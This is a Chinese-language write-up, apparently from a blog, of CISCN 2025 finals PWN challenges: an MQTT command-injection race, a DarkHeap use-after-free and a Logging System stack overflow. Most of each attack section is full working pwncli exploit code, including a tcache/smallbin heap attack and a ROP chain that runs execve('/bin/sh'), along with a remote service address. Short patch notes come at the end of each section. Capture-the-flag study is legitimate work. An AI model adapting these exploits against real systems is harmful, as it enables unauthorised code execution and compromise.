
pwn· 更新于 2026-05-26
ciscn-2025-决赛
Ciscn 2025 决赛 PWN
Day 1
mqtt
漏洞点

存在命令注入,但是需要绕过必须为字母数字的 check
注意到程序有sleep(2)而且为多线程,因此这里是条件竞争
先输入合法 vin,再进行命令注入
Exp
使用 mqttx 订阅diag,得到VIN,计算得到auth
#include <stdio.h>
int main() {
char a1[] = "111111111a";
int v3 = 0;
int i = 0;
for (i = 0; a1[i]; ++i)
v3 = 31 * v3 + *(char*)(i + a1);
printf("%08x\n", v3);
}
然后发送


Day 2
DarkHeap
解法 1
无泄漏 UAF
以下 exp 来自 Tplus 师傅🥰(tqllll)
源码
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck; // 这里会将地址写入
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
首先
add(7, 0x108)
add(8, 0x118)
在 tcache_struct 留下标志位
然后分配 0x88 大小 chunk,填满 tcache 和 smallbin
修改 smallbins 第七个 chunk 的 bk 位,使其指向 tcache_struct 的 0x100 链表位置
再申请 8 个 0x88 大小的 chunk,触发 smallbin reverse into tcache
这样,tcache_struct 的 0x100 链表位置就会链入 0x90 的 tcache 链表

如法炮制,这次修改 smallbins 第八个 chunk 的 bk 位,使其指向 tcache_struct 的 0x120 链表位置
再申请 8 个 0x88 大小的 chunk,触发 smallbin reverse into tcache
这样,libc 地址就会写入 tcache_struct 的 0x120 链表位置

接着就是申请 0x88,修改 0x120 的低位,指向 libc got,改为 one gadget,触发报错

无爆破版!!!!
#!/usr/bin/env python3
from pwncli import *
context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
cmd = '''
set follow-fork child
brva 0x1483
brva 0x15A6
brva 0x154F
brva 0x165A
b malloc.c:3932
set $heap = $rebase(0x40A0)
dir /mnt/f/Documents/CTF/glibc/glibc-2.35
c
'''
gift.elf = ELF(elf_path := './DarkHeap_patch')
if local_flag == "remote":
addr = ''
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
# gift.io = gdb.debug(elf_path, gdbscript=cmd, sysroot='/')
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()
IAT = b'Choice:'
def add(idx, size):
sla(IAT, b'1')
sla(b'Index', str(idx))
sla(b'Size', str(size))
def dele(idx):
sla(IAT, b'3')
sla(b'Index', str(idx))
def edit(idx, data):
sla(IAT, b'2')
sla(b'Index', str(idx))
sa(b'Content', data)
# launch_gdb(cmd)
add(7, 0x108)
add(8, 0x118)
heap_base = get_current_heapbase_addr()
libc_base = get_current_libcbase_addr()
for i in range(7):
add(i, 0x88)
dele(7)
dele(8)
for i in range(7, 15):
add(i, 0x88)
add(0xF, 0x10)
for i in range(15):
dele(i)
add(0, 0x4F8)
dele(0)
add(1, 0xB8)
add(2, 0x500 - 0xC0 - 8)
edit(
0,
flat(
{
0xB8: 0x91,
0xB8 + 0x90: 0x91,
0xB8 + 0x90 * 2: 0x91,
},
filler=b'\x00',
),
)
dele(2)
add(0xF, 0x1500) # put last unsorted into small
add(2, 0x1500) # align
dele(0xF)
edit(0xD, p64(0) + p16((heap_base & 0xFFFF) + 0x90 + 8 * (0x100 - 0x20) // 16 - 0x10))
for i in range(8):
add(i, 0x88)
for i in range(7):
add(i, 0x98)
for i in range(7, 15):
add(i, 0x98)
add(0xF, 0x10)
for i in range(15):
dele(i)
add(0, 0x4F8)
dele(0)
add(1, 0xB8)
add(2, 0x500 - 0xC0 - 8)
edit(
0,
flat(
{
0xB8: 0xA1,
0xB8 + 0xA0: 0xA1,
0xB8 + 0xA0 * 2: 0xA1,
},
filler=b'\x00',
),
)
dele(2)
add(0xF, 0x128) # put last unsorted into small
edit(0xE, p64(0) + p16((heap_base & 0xFFFF) + 0x90 + 8 * (0x120 - 0x20) // 16 - 0x10))
for i in range(8):
add(i, 0x98)
add(0, 0x88)
# edit(0, p64(0) * 2 + p32(libc.sym._IO_2_1_stdout_ & 0xFFFF))
edit(0, p64(0) * 2 + p32((libc_base + 0x21A080) & 0xFFFFFFFF)[:3])
add(1, 0x118)
edit(1, p64(0) * 3 + p32((libc_base + get_current_one_gadget_from_libc()[4]) & 0xFFFFFFFF)[:3])
add(2, 0xB8)
dele(2)
dele(2)
ia()
解法 2
以下解法来自中大的师傅
由于程序是 fork 的,因此地址不会改变,可以采用逐位爆破
具体做法就是先申请,然后 free 到 unsortbin,从地位开始改 unsortbin 里存的 libc 地址,如果改对了,程序不会爆错,改错了就会
重复即可爆破出完整 libc 地址
Fix
把 free 后的 chunk fd 位清空即可
听说 call exit 也能过
(nop free 也能利用成功也是神人了,逆天 check 脚本)
Logging System
拿到的是依托,先恢复一下符号

程序先 cin 读入一个 string
然后将 string 转成 sstream,逐个字节读入数据
需要注意的是,程序要求输入 base64

这里是 base64decode
校验 1,首位必须是 0xB9

接着读入标志位

标志位有 0x80 0x81 0x82 0x83,这些标志位代表下一次读入是读入多少字节的数据
0x80 - 1
0x81 - 2
0x82 - 4
0x83 - 8
接着又是一个校验位,0xBD
和上面一样,也是先读标志位,然后读入数据
不同的是,这里读入数据是作为下一次读入的数据长度,如图v76

同样的,下面重复一次
最后读入校验码,同样是先读入标志位

紧接着程序计算 CRC 校验值,需要我们最后一次读入的校验值和程序计算的一致
不需要自己计算,打断点动调即可获得校验值

紧接着程序执行memcpy,这里存在栈溢出

Break
简单的 ROP,用 ropper 自动生成的
需要注意的是,程序在最后会调用 sstream 的析构函数,需要满足里面的一些条件判断,让程序不走到 free,不然会崩溃
动调一下修改就行



#!/usr/bin/env python3
from pwncli import *
from base64 import *
context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
cmd = '''
b *0x405D15
b *0x405D50
b *0x405D9A
ida
c
'''
gift.elf = ELF(elf_path := './LoginSystem')
if local_flag == "remote":
addr = '39.96.183.124 20603'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
# gift.io = gdb.debug(elf_path, gdbscript=cmd, sysroot='/')
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()
launch_gdb(cmd)
ru(b'--> ')
p = p64
IMAGE_BASE_0 = 0x0000000000400000 # efa234332e5336c9d85b244c515b43af2c82417ea32f1f70f25663d3dfd566e3
rebase_0 = lambda x: p64(x + IMAGE_BASE_0)
rop = b''
rop += rebase_0(0x00000000000071B8) # 0x00000000004071b8: pop r13; ret;
rop += b'//bin/sh'
rop += rebase_0(0x0000000000007150) # 0x0000000000407150: pop rbx; ret;
rop += rebase_0(0x000000000053E160)
rop += rebase_0(0x00000000003C2B42) # 0x00000000007c2b42: mov qword ptr [rbx], r13; pop rbx; pop rbp; pop r12; pop r13; ret;
rop += p(0xDEADBEEFDEADBEEF)
rop += p(0xDEADBEEFDEADBEEF)
rop += p(0xDEADBEEFDEADBEEF)
rop += p(0xDEADBEEFDEADBEEF)
rop += rebase_0(0x00000000000071B8) # 0x00000000004071b8: pop r13; ret;
rop += p(0x0000000000000000)
rop += rebase_0(0x0000000000007150) # 0x0000000000407150: pop rbx; ret;
rop += rebase_0(0x000000000053E168)
rop += rebase_0(0x00000000003C2B42) # 0x00000000007c2b42: mov qword ptr [rbx], r13; pop rbx; pop rbp; pop r12; pop r13; ret;
rop += p(0xDEADBEEFDEADBEEF)
rop += p(0xDEADBEEFDEADBEEF)
rop += p(0xDEADBEEFDEADBEEF)
rop += p(0xDEADBEEFDEADBEEF)
rop += rebase_0(0x0000000000005D99) # 0x0000000000405d99: pop rdi; ret;
rop += rebase_0(0x000000000053E160)
rop += rebase_0(0x00000000000079C4) # 0x00000000004079c4: pop rsi; ret;
rop += rebase_0(0x000000000053E168)
rop += rebase_0(0x0000000000128753) # 0x0000000000528753: pop rdx; ret;
rop += rebase_0(0x000000000053E168)
rop += rebase_0(0x0000000000009387) # 0x0000000000409387: pop rax; ret;
rop += p(0x000000000000003B)
rop += rebase_0(0x000000000030C546) # 0x000000000070c546: syscall; ret;
pay1 = flat(
{
0x150: 0x947FC0, # 修改以不走free的分支
0x250: 0x947FC0, # 修改以不走free的分支
0x7C8: rop,
},
filler=b'\x00',
)
payload = b''
payload += b'\xb9'
payload += b'\x80\x03'
payload += b'\xbd'
payload += b'\x80\x05'
payload += b'admin'
payload += b'\xbd'
payload += b'\x81' + p16_ex(len(pay1))
payload += pay1
payload += b'\x82' + p64(0x633F1F27)
payload = payload.ljust(0x100, b'a')
sl(b64encode(payload))
ia()
Fix
将memcpy的 len 改成 256 即可
embbed_httpd
Fix
晚点补……


